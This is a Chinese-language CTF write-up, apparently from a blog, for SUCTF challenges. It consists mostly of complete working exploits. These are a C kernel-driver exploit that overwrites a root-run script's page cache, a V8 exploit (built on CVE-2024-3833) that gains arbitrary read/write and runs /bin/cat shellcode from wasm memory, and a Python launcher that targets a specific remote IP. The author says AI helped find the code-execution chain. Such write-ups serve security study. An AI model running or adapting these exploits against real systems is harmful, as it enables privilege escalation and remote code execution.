| ring_buffer = payload|
+----------------------+
          |
          | ioctl 4099 / 4100/ 4101
          v
+-------------------------------+
| view -> pagecache(/tmp/job)   |
+-------------------------------+
          |
          | ioctl 4104
          v
+----------------------------------------------+
| memcpy(ring_buffer, pagecache(/tmp/job))     |
| set_page_dirty(pagecache)                    |
+----------------------------------------------+
          |
          | root helper: /bin/sh /tmp/job
          v
+----------------------+
| root 命令执行成功     |
+----------------------+

exp.c

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>

#define CMD_CREATE 0x1001
#define CMD_AUTH 0x1002
#define CMD_PIN_PAGE 0x1003
#define CMD_LOAD_JOB_PAGE 0x1004
#define CMD_BUILD_VIEW 0x1005
#define CMD_SYNC_VIEW 0x1008
#define CMD_WRITE_BUF 0x1007

struct auth_arg {
    uint64_t x;
    uint64_t y;
};

struct write_arg {
    uint64_t src;
    uint32_t len;
    uint32_t off;
};

static int must_ioctl(int fd, unsigned long cmd, void *arg, const char *name) {
    int ret = ioctl(fd, cmd, arg);
    if (ret < 0) {
        fprintf(stderr, "[-] %s failed: %s\n", name, strerror(errno));
        exit(1);
    }
    return ret;
}

int main(void) {
    static const uint64_t k_magic = 0xf372fe94f82b3c6eULL;
    static const uint64_t k_start = 0x0ffffffff8000000ULL;
    static const uint64_t k_end = 0x1000000000000000ULL;
    static const uint64_t k_step = 0x20000ULL;

    static const unsigned char payload[] =
        "#!/bin/sh\n"
        "cp /flag /tmp/f\n"
        "chmod 777 /tmp/f\n"
        "#######";

    int fd = open("/dev/chronos_ring", O_RDWR);
    if (fd < 0) {
        fprintf(stderr, "[-] open /dev/chronos_ring failed: %s\n", strerror(errno));
        return 1;
    }

    must_ioctl(fd, CMD_CREATE, 0, "ioctl(CMD_CREATE)");
    fprintf(stderr, "[+] created chronos buffer\n");

    uint64_t found = 0;
    for (uint64_t masked = k_start; masked < k_end; masked += k_step) {
        struct auth_arg a = {
            .x = masked ^ k_magic,
            .y = 0,
        };
        if (ioctl(fd, CMD_AUTH, &a) == 0) {
            found = masked;
            fprintf(stderr, "[+] auth success, masked kfree = 0x%016" PRIx64 "\n", found);
            break;
        }
    }

    if (!found) {
        fprintf(stderr, "[-] auth brute-force failed\n");
        return 1;
    }

    struct write_arg w = {
        .src = (uint64_t)(uintptr_t)payload,
        .len = (uint32_t)sizeof(payload) - 1,
        .off = 0,
    };
    must_ioctl(fd, CMD_WRITE_BUF, &w, "ioctl(CMD_WRITE_BUF)");
    fprintf(stderr, "[+] staged payload in ring buffer\n");

    void *pin = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (pin == MAP_FAILED) {
        fprintf(stderr, "[-] mmap failed: %s\n", strerror(errno));
        return 1;
    }
    memset(pin, 0x41, 0x1000);
    uint64_t pin_addr = (uint64_t)(uintptr_t)pin;
    must_ioctl(fd, CMD_PIN_PAGE, &pin_addr, "ioctl(CMD_PIN_PAGE)");
    fprintf(stderr, "[+] pinned user page\n");

    int jobfd = open("/tmp/job", O_RDONLY);
    if (jobfd < 0) {
        fprintf(stderr, "[-] open /tmp/job failed: %s\n", strerror(errno));
        return 1;
    }
    uint64_t jobfd_arg = (uint64_t)(uint32_t)jobfd;
    must_ioctl(fd, CMD_LOAD_JOB_PAGE, &jobfd_arg, "ioctl(CMD_LOAD_JOB_PAGE)");
    fprintf(stderr, "[+] loaded job page cache\n");

    must_ioctl(fd, CMD_BUILD_VIEW, 0, "ioctl(CMD_BUILD_VIEW)");
    fprintf(stderr, "[+] built writable view\n");

    struct write_arg s = {
        .src = 0,
        .len = (uint32_t)sizeof(payload) - 1,
        .off = 0,
    };
    must_ioctl(fd, CMD_SYNC_VIEW, &s, "ioctl(CMD_SYNC_VIEW)");
    fprintf(stderr, "[+] patched /tmp/job page cache\n");

    for (int i = 0; i < 8; i++) {
        sleep(1);
        int f = open("/tmp/f", O_RDONLY);
        if (f < 0) {
            continue;
        }

        char buf[256];
        ssize_t n = read(f, buf, sizeof(buf) - 1);
        close(f);
        if (n <= 0) {
            continue;
        }

        buf[n] = '\0';
        printf("%s", buf);
        return 0;
    }

    fprintf(stderr, "[-] timed out waiting for /tmp/f\n");
    return 1;
}

SUCTF{VGhhc19BU19XSEFUX1Vfd0FudF9mbGFnX2ZsYWdfZmxhZyEhIQ==}

SU_Chronos_Ring1

这道题与上一道的打法是一样的,不知道是不是我没有做到预期解的原因,同一套exp.c都可以成功利用

赛后我对比了两个题的BuildID 是一致的,只是init脚本和启动脚本有轻微差异,不影响漏洞利用

SUCTF{JEQG2YLEMUQGCIDNNFZXIYLLMUWCASJANBXXAZJAPFXXKIDXN5XCO5BANVQWWZJANF2A====}

SU_Box

漏洞不在 Java 代码,而在内嵌 V8

直接看app.java

import com.eclipsesource.v8.*;
import java.io.*;

public class App {
    private static final int MAX_SCRIPT_SIZE = 1048576;

    public static void main(String[] args) throws Exception {
        System.out.println("  ____  _   _ ____            ");
        System.out.println(" / ___|| | | | __ )  _____  __");
        System.out.println(" \\___ \\| | | |  _ \\ / _ \\ \\/ /");
        System.out.println("  ___) | |_| | |_) | (_) >  < ");
        System.out.println(" |____/ \\___/|____/ \\___/_/\\_\\");
        System.out.println();
        System.out.println("A simple script box. Enter JavaScript below.");
        System.out.println("End your input with 'EOF' on a new line.");
        System.out.println("─────────────────────────────────────────────────");
        System.out.flush();

        BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
        StringBuilder script = new StringBuilder();
        String line;
        while ((line = reader.readLine()) != null) {
            if ("EOF".equals(line)) break;
            if (script.length() + line.length() > MAX_SCRIPT_SIZE) {
                System.out.println("Error: script too large (max 1MB)");
                return;
            }
            script.append(line).append("\n");
        }

        if (script.isEmpty()) {
            System.out.println("Error: empty script");
            return;
        }

        System.out.println("─────────────────────────────────────────────────");
        System.out.println("[*] Executing...");
        System.out.flush();

        V8 v8 = V8.createV8Runtime();
        v8.registerJavaMethod((JavaVoidCallback) (receiver, params) -> {
            if (params.length() > 0) {
                System.out.println(params.get(0).toString());
                System.out.flush();
            }
        }, "log");

        try {
            Object result = v8.executeScript(script.toString());
            if (result instanceof V8Object) ((V8Object) result).release();
        } catch (Exception e) {
            System.out.println("Error: " + e.getMessage());
        } finally {
            if (!v8.isReleased()) v8.release();
        }
    }
}

整个逻辑就是一个简易的 JavaScript 脚本执行器,读取用户输入的javascript(max 1MB),初始化v8引擎,然后执行代码,最后输出结果,并且注册了一个log回调函数

业务逻辑上基本看不出什么漏洞,所以需要深入分析下com.eclipsesource.v8(J2V8),v8引擎的java绑定库

解包linux-x86_64.jar,先从里面看libj2v8-linux-x86_64.so的版本号

 strings libj2v8-linux-x86_64.so | grep -E "[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+"

9.3.345.11,比较老的版本

于是寻思着上网找找有没有可以用到的n-day poc

参考了这个:

https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE_2024_3833

公开 PoC 直接打远端,很多时候只到 NOOOB / 崩溃,命中率不够

有些偏移和攻击目标需要调整

目标路径:
可控 OOB -> addrof/aar/aaw -> 控制函数调用目标 -> shellcode

参照公开poc,Map 在 hole/deleted key 的边界处理上出现状态错乱,后续 set 写入打到了相邻对象元数据,把本来长度很小的 JSArray 变成了伪超长数组

也就是先让make_hole_old() 触发 hole,

function make_hole_old() {
  let a = [], b = [], s = '"'.repeat(0x800000);
  a[20000] = s;
  for (let i = 0; i < 10; i++) a[i] = s;
  for (let i = 0; i < 10; i++) b[i] = a;
  try { JSON.stringify(b); } catch (h) { return h; }
  throw new Error('no hole');
}

然后Map 经过 set/delete 特定序列后进入异常状态

function getmap(h) {
  let m = new Map();
  m.set(1, 1);
  m.set(h, 1);
  m.delete(h);
  m.delete(h);
  m.delete(1);
  return m;
}

接着m.set(0x16, -1); m.set(arr, 0xffff);arr.length 异常变大

before
+--------------------+--------------------+
| Map internal table | JSArray(arr) hdr   |
+--------------------+--------------------+
                     | len = 4            |
                     +--------------------+

after (漏洞触发)
+--------------------+--------------------+
| corrupted metadata | JSArray(arr) hdr   |
+--------------------+--------------------+
                     | len = 0xffff       |
                     +--------------------+

这样arr越界就出现了

然后通过越界访问的能力,公开poc做了哪个 arr[i] 能控 victim 的 elements,再找哪个 arr[j] 能做 addrof的测试

这个版本里我们通过脚本能稳定观测到:arr[14] 可用于对象地址泄漏(addrof),arr[10] 能影响另一个浮点数组 victim 的 elements 指针,观测脚本:

var ab = new ArrayBuffer(8);
var f64 = new Float64Array(ab);
var u64 = new BigUint64Array(ab);

function ftoi(f) { f64[0] = f; return u64[0]; }
function itof(i) { u64[0] = i; return f64[0]; }

function out(s) {
  if (typeof log === 'function') log(String(s));
  else if (typeof console !== 'undefined' && console.log) console.log(String(s));
}

function hex(x) {
  return '0x' + x.toString(16);
}

function make_hole_old() {
  var a = [], b = [], s = '"'.repeat(0x800000);
  a[20000] = s;
  for (var i = 0; i < 10; i++) a[i] = s;
  for (var j = 0; j < 10; j++) b[j] = a;
  try { JSON.stringify(b); } catch (h) { return h; }
  throw new Error('no hole');
}

function getmap(h) {
  var m = new Map();
  m.set(1, 1);
  m.set(h, 1);
  m.delete(h);
  m.delete(h);
  m.delete(1);
  return m;
}

function trigger_oob_once() {
  try {
    var h = make_hole_old();
    var m = getmap(h);
    var arr = [1.1, 2.2, 3.3, 4.4];
    var victim = [10.1, 20.2, 30.3, 40.4];
    var obj = [{ a: 1 }, { b: 2 }];

    m.set(0x16, -1);
    m.set(arr, 0xffff);

    if (arr.length > 100) {
      return { arr: arr, victim: victim, obj: obj };
    }
  } catch (e) {
  }
  return null;
}

function find_elements_control_index(arr, victim, start, end) {
  var baseline = victim[0];
  var candidates = [];

  for (var i = start; i <= end; i++) {
    var bak = arr[i];
    var hit = 0;
    for (var t = 0; t < 3; t++) {
      try {
        arr[i] = itof(0x1337000000000000n + BigInt(i * 0x10 + t));
        if (ftoi(victim[0]) !== ftoi(baseline)) {
          hit++;
          victim[0] = baseline;
        }
      } catch (e) {
      }
    }
    arr[i] = bak;
    victim[0] = baseline;

    if (hit > 0) {
      candidates.push({ index: i, hit: hit });
    }
  }
  return candidates;
}

function find_addrof_leak_index(arr, obj, start, end) {
  var A = { x: 0x1111 };
  var B = { x: 0x2222 };
  var C = { x: 0x3333 };
  var candidates = [];

  for (var i = start; i <= end; i++) {
    var bak = arr[i];
    try {
      obj[0] = A;
      var v1 = ftoi(arr[i]);
      obj[0] = B;
      var v2 = ftoi(arr[i]);
      obj[0] = C;
      var v3 = ftoi(arr[i]);

      if (v1 !== v2 && v2 !== v3 && v1 !== v3) {
        candidates.push({ index: i, v1: v1, v2: v2, v3: v3 });
      }
    } catch (e) {
    }
    arr[i] = bak;
  }
  return candidates;
}

(function () {
  out('[*] demo_oob_probe.js start');

  var state = null;
  for (var r = 0; r < 1200; r++) {
    state = trigger_oob_once();
    if (state) break;
  }

  if (!state) {
    out('[-] OOB not triggered');
    return;
  }

  var arr = state.arr;
  var victim = state.victim;
  var obj = state.obj;

  out('[+] OOB triggered, arr.length=' + arr.length);

  var ctrl = find_elements_control_index(arr, victim, 8, 20);
  if (ctrl.length === 0) {
    out('[-] no elements-control candidate in [8..20]');
  } else {
    out('[+] elements-control candidates:');
    for (var i = 0; i < ctrl.length; i++) {
      out('    idx=' + ctrl[i].index + ' hit=' + ctrl[i].hit + '/3');
    }
  }

  var leak = find_addrof_leak_index(arr, obj, 8, 20);
  if (leak.length === 0) {
    out('[-] no addrof-leak candidate in [8..20]');
  } else {
    out('[+] addrof-leak candidates:');
    for (var j = 0; j < leak.length; j++) {
      out('    idx=' + leak[j].index +
          ' v1=' + hex(leak[j].v1) +
          ' v2=' + hex(leak[j].v2) +
          ' v3=' + hex(leak[j].v3));
    }
  }

  out('[*] Expect on this challenge: elements-control ~= 10, leak ~= 14');
})();
+------------------+          overwrite element ptr         +------------------+
| arr (OOB array)  | -------------------------------------> | victim (float[]) |
+------------------+                                        +------------------+
        |                                                           |
        | arr[14] 泄漏对象地址                                      | victim[0] 作为任意地址读写窗
        v                                                           v
   addrof primitive                                          aar / aaw primitive

接下来就是原语实现:

addrof(o)obj[0]=o 后读 arr[14] 拿到地址

aar(addr):把 arr[10] 改到 addr-0xf,再读 victim[0]

aaw(addr,val):同理写 victim[0]

这一步完成后,基本就是“进程内任意 8 字节读写”

然后找代码执行入口

公开poc会尝试:wasm_instance + 0x60 直接拿 rwx,

但由于版本原因,本题这条路不稳定/不生效,后来用ai找到了一条真正可打通的链路:

  1. 先定位 wasm 代码区指针:p80 = *(instance + 0x80)
  2. p80 + 0x300 写 shellcode
  3. GenericJSToWasmWrapper 调用链里的可写 call target 槽
  4. f() 触发跳转到 shellcode
JS 调用 f()
   |
   v
+------------------------------+
| Builtins_GenericJSToWasm...  |
+------------------------------+
   | rdi = [f + 0x17]
   v
+------------------------------+
| obj1                         |
+------------------------------+
   | rdi = [obj1 + 0x7]
   v
+------------------------------+
| obj2                         |
+------------------------------+
   | call [obj2 + 0x7]   <---- 我们改这个槽
   v
shellcode @ (p80 + 0x300)

exp.js

var ab = new ArrayBuffer(8);
var f64 = new Float64Array(ab);
var u64 = new BigUint64Array(ab);

function ftoi(f) { f64[0] = f; return u64[0]; }
function itof(i) { u64[0] = i; return f64[0]; }

function make_hole_old() {
  let a = [], b = [], s = '"'.repeat(0x800000);
  a[20000] = s;
  for (let i = 0; i < 10; i++) a[i] = s;
  for (let i = 0; i < 10; i++) b[i] = a;
  try { JSON.stringify(b); } catch (h) { return h; }
  throw new Error('no hole');
}

function getmap(h) {
  let m = new Map();
  m.set(1, 1);
  m.set(h, 1);
  m.delete(h);
  m.delete(h);
  m.delete(1);
  return m;
}

function build_primitives() {
  for (let r = 0; r < 600; r++) {
    try {
      let h = make_hole_old();
      let m = getmap(h);
      let arr = [1.1, 2.2, 3.3, 4.4];
      let victim = [10.1, 20.2, 30.3, 40.4];
      let obj = [{ a: 1 }, { b: 2 }];

      m.set(0x16, -1);
      m.set(arr, 0xffff);
      if (arr.length <= 100) continue;

      let save = arr[10];

      function addrof(o) {
        obj[0] = o;
        return ftoi(arr[14]);
      }

      function aar(addr) {
        arr[10] = itof(addr - 0xfn);
        let v = ftoi(victim[0]);
        arr[10] = save;
        return v;
      }

      function aaw(addr, val) {
        arr[10] = itof(addr - 0xfn);
        victim[0] = itof(val);
        arr[10] = save;
      }

      return { addrof: addrof, aar: aar, aaw: aaw };
    } catch (e) {}
  }
  return null;
}

function write_bytes(aaw, addr, bytes) {
  for (let i = 0; i < bytes.length; i += 8) {
    let q = 0n;
    for (let j = 0; j < 8; j++) {
      if (i + j < bytes.length) {
        q |= BigInt(bytes[i + j]) << (8n * BigInt(j));
      }
    }
    aaw(addr + BigInt(i), q);
  }
}

(function () {
  let p = build_primitives();
  if (!p) {
    log('NO_PRIM');
    return;
  }

  let wasmCode = new Uint8Array([
    0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,
    4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,
    7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,
    128,128,128,0,1,132,128,128,128,0,0,65,42,11
  ]);

  let inst = new WebAssembly.Instance(new WebAssembly.Module(wasmCode));
  let f = inst.exports.main;

  let ia = p.addrof(inst);
  let fa = p.addrof(f);

  // wasm jump table / code area (RWX in this target build)
  let p80 = p.aar(ia - 1n + 0x80n);
  let shell = p80 + 0x300n;

  let sc = [
    0x48,0x31,0xc0,0x50,0x48,0xbb,0x2f,0x66,0x6c,0x61,0x67,0x00,0x00,0x00,0x53,0x49,
    0x89,0xe4,0x50,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x63,0x61,0x74,0x53,0x48,0x89,
    0xe7,0x50,0x41,0x54,0x57,0x48,0x89,0xe6,0x48,0x31,0xd2,0xb0,0x3b,0x0f,0x05
  ];
  write_bytes(p.aaw, shell, sc);

  // Builtins_GenericJSToWasmWrapper chain:
  // rdi = [f + 0x17], rdi = [rdi + 0x7], call [rdi + 0x7]
  let obj1 = p.aar(fa - 1n + 0x18n);
  let obj2 = p.aar(obj1 - 1n + 0x8n);
  let slot = obj2 - 1n + 0x8n;
  p.aaw(slot, shell);

  f();
})();

exp.py

#!/usr/bin/env python3
import re
import socket
import sys
import time

HOST = "101.245.104.190"
PORT = 10008
MAX_TRIES = 120
FLAG_RE = re.compile(r"SUCTF\{[^\r\n}]*\}")


def run_once(payload: bytes, timeout: float = 6.0) -> str:
    s = socket.create_connection((HOST, PORT), timeout=4.0)
    s.settimeout(timeout)
    out = bytearray()
    try:
        s.sendall(payload)
        while True:
            try:
                chunk = s.recv(4096)
            except socket.timeout:
                break
            if not chunk:
                break
            out.extend(chunk)
    finally:
        try:
            s.close()
        except Exception:
            pass
    return out.decode("utf-8", "ignore")


def main() -> int:
    with open("exp.js", "r", encoding="utf-8") as f:
        js = f.read()
    payload = (js + "\nEOF\n").encode()

    for i in range(1, MAX_TRIES + 1):
        try:
            txt = run_once(payload)
        except Exception as e:
            print(f"[{i}] EX {e}", flush=True)
            time.sleep(0.2)
            continue

        m = FLAG_RE.search(txt)
        if m:
            print(f"[{i}] FLAG {m.group(0)}")
            print(txt)
            return 0

        tail = " | ".join(line.strip() for line in txt.splitlines()[-4:])
        print(f"[{i}] noflag {tail if tail else '(empty)'}", flush=True)
        time.sleep(0.1)

    print(f"NO_FLAG_IN_{MAX_TRIES}_TRIES")
    return 1


if __name__ == "__main__":
    sys.exit(main())

SUCTF{y0u_kn@w_v8_p@tch_gap_we1!}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇